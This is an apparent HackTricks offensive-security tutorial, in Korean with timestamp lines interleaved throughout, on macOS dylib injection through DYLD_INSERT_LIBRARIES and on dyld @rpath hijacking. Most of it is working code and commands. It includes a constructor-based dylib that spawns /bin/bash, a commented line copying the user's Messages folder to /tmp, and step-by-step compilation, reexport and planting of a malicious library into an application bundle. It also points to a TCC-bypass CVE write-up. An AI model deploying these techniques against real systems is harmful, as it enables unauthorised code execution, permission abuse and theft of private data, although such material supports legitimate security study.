2023-05-15 14:07:02 +00:00
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
< details >
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
< summary > Support HackTricks< / summary >
2024-01-04 09:09:21 +00:00
2024-07-19 04:52:07 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-05-15 08:11:15 +00:00
< / details >
2024-07-19 04:52:07 +00:00
{% endhint %}
2023-05-15 08:11:15 +00:00
2024-02-10 21:30:13 +00:00
## DYLD\_INSERT\_LIBRARIES 기본 예제
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
**쉘을 실행하기 위해 주입할 라이브러리:**
2023-05-15 08:11:15 +00:00
```c
2023-05-15 10:48:42 +00:00
// gcc -dynamiclib -o inject.dylib inject.c
2023-05-15 08:11:15 +00:00
#include <syslog.h>
2023-05-15 10:48:42 +00:00
#include <stdio.h>
2023-05-15 08:11:15 +00:00
#include <unistd.h>
2023-09-19 22:52:16 +00:00
#include <stdlib.h>
2023-05-15 08:11:15 +00:00
__attribute__((constructor))
2023-05-18 12:13:32 +00:00
void myconstructor(int argc, const char **argv)
2023-05-15 08:11:15 +00:00
{
2024-02-10 21:30:13 +00:00
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
2023-05-15 08:11:15 +00:00
}
```
2024-07-19 04:52:07 +00:00
공격할 바이너리:
2023-05-15 08:11:15 +00:00
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
2024-02-10 21:30:13 +00:00
printf("Hello, World!\n");
return 0;
2023-05-15 08:11:15 +00:00
}
```
2024-07-19 04:52:07 +00:00
주입:
2023-05-15 08:11:15 +00:00
```bash
2023-05-15 10:48:42 +00:00
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
2023-05-15 08:11:15 +00:00
```
2024-07-19 04:52:07 +00:00
## Dyld Hijacking Example
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
타겟 취약 바이너리는 `/Applications/VulnDyld.app/Contents/Resources/lib/binary` 입니다.
2023-05-15 14:07:02 +00:00
{% tabs %}
2023-09-19 22:52:16 +00:00
{% tab title="entitlements" %}
< pre class = "language-bash" data-overflow = "wrap" > < code class = "lang-bash" > codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
< strong > [...]com.apple.security.cs.disable-library-validation[...]
< / strong > < / code > < / pre >
{% endtab %}
2023-05-15 14:07:02 +00:00
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
2023-09-19 22:52:16 +00:00
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
2024-02-10 21:30:13 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/ . (offset 12)
2023-05-15 14:07:02 +00:00
--
2024-02-10 21:30:13 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/ ../lib2 (offset 12)
2023-05-15 14:07:02 +00:00
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
2023-09-19 22:52:16 +00:00
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
2024-02-10 21:30:13 +00:00
name @rpath/lib .dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
2023-05-15 14:07:02 +00:00
compatibility version 1.0.0
2023-09-19 22:52:16 +00:00
# Check the versions
2023-05-15 14:07:02 +00:00
```
{% endcode %}
{% endtab %}
{% endtabs %}
2024-07-19 04:52:07 +00:00
이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 있으며 **다음 위치에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다** :
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
2023-05-15 14:07:02 +00:00
2024-07-19 04:52:07 +00:00
하지만 첫 번째는 존재하지 않습니다:
2023-05-15 14:07:02 +00:00
```bash
pwd
2023-09-19 22:52:16 +00:00
/Applications/VulnDyld.app
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
2023-05-15 14:07:02 +00:00
```
2024-07-19 04:52:07 +00:00
그래서, 그것을 탈취하는 것이 가능합니다! **임의의 코드를 실행하고 정품 라이브러리와 동일한 기능을 재수출하여** 라이브러리를 만드세요. 그리고 예상되는 버전으로 컴파일하는 것을 잊지 마세요:
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
{% code title="lib.m" %}
2023-05-15 14:07:02 +00:00
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 21:30:13 +00:00
NSLog(@"[+] dylib hijacked in %s", argv[0]);
2023-05-15 14:07:02 +00:00
}
```
{% endcode %}
2024-07-19 04:52:07 +00:00
컴파일하세요:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
2023-09-19 22:52:16 +00:00
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
2023-05-15 14:07:02 +00:00
# Note the versions and the reexport
```
{% endcode %}
2024-07-19 04:52:07 +00:00
라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리를 내보내기 위한 절대 경로로 변경합시다:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
#Check relative
2023-09-19 22:52:16 +00:00
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-10 21:30:13 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli .dylib (offset 24)
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib .dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
2023-05-15 14:07:02 +00:00
# Check again
2023-09-19 22:52:16 +00:00
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-10 21:30:13 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
2023-05-15 14:07:02 +00:00
```
{% endcode %}
2024-07-19 04:52:07 +00:00
마지막으로 **탈취된 위치**에 복사합니다:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
2023-09-19 22:52:16 +00:00
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
2023-05-15 14:07:02 +00:00
```
{% endcode %}
2024-07-19 04:52:07 +00:00
그리고 **이진 파일을 실행**하고 **라이브러리가 로드되었는지 확인**합니다:
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
< pre class = "language-context" > < code class = "lang-context" > "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
< strong > 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
< / strong > Usage: [...]
2023-05-15 14:07:02 +00:00
< / code > < / pre >
2023-05-16 16:54:39 +00:00
{% hint style="info" %}
2024-07-19 04:52:07 +00:00
텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ ](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ )에서 찾을 수 있습니다.
2023-05-16 16:54:39 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
## 더 큰 규모
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
예상치 못한 이진 파일에 라이브러리를 주입하려는 경우, 프로세스 내에서 라이브러리가 로드될 때를 확인하기 위해 이벤트 메시지를 확인할 수 있습니다(이 경우 printf와 `/bin/bash` 실행을 제거하십시오).
2023-05-15 08:11:15 +00:00
```bash
2023-05-15 14:07:02 +00:00
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
2023-05-15 08:11:15 +00:00
```
2024-07-19 04:52:07 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
< details >
2023-05-15 08:11:15 +00:00
2024-07-19 04:52:07 +00:00
< summary > HackTricks 지원하기< / summary >
2024-01-04 09:09:21 +00:00
2024-07-19 04:52:07 +00:00
* [**구독 계획** ](https://github.com/sponsors/carlospolop ) 확인하기!
* **💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
2023-05-15 08:11:15 +00:00
< / details >
2024-07-19 04:52:07 +00:00
{% endhint %}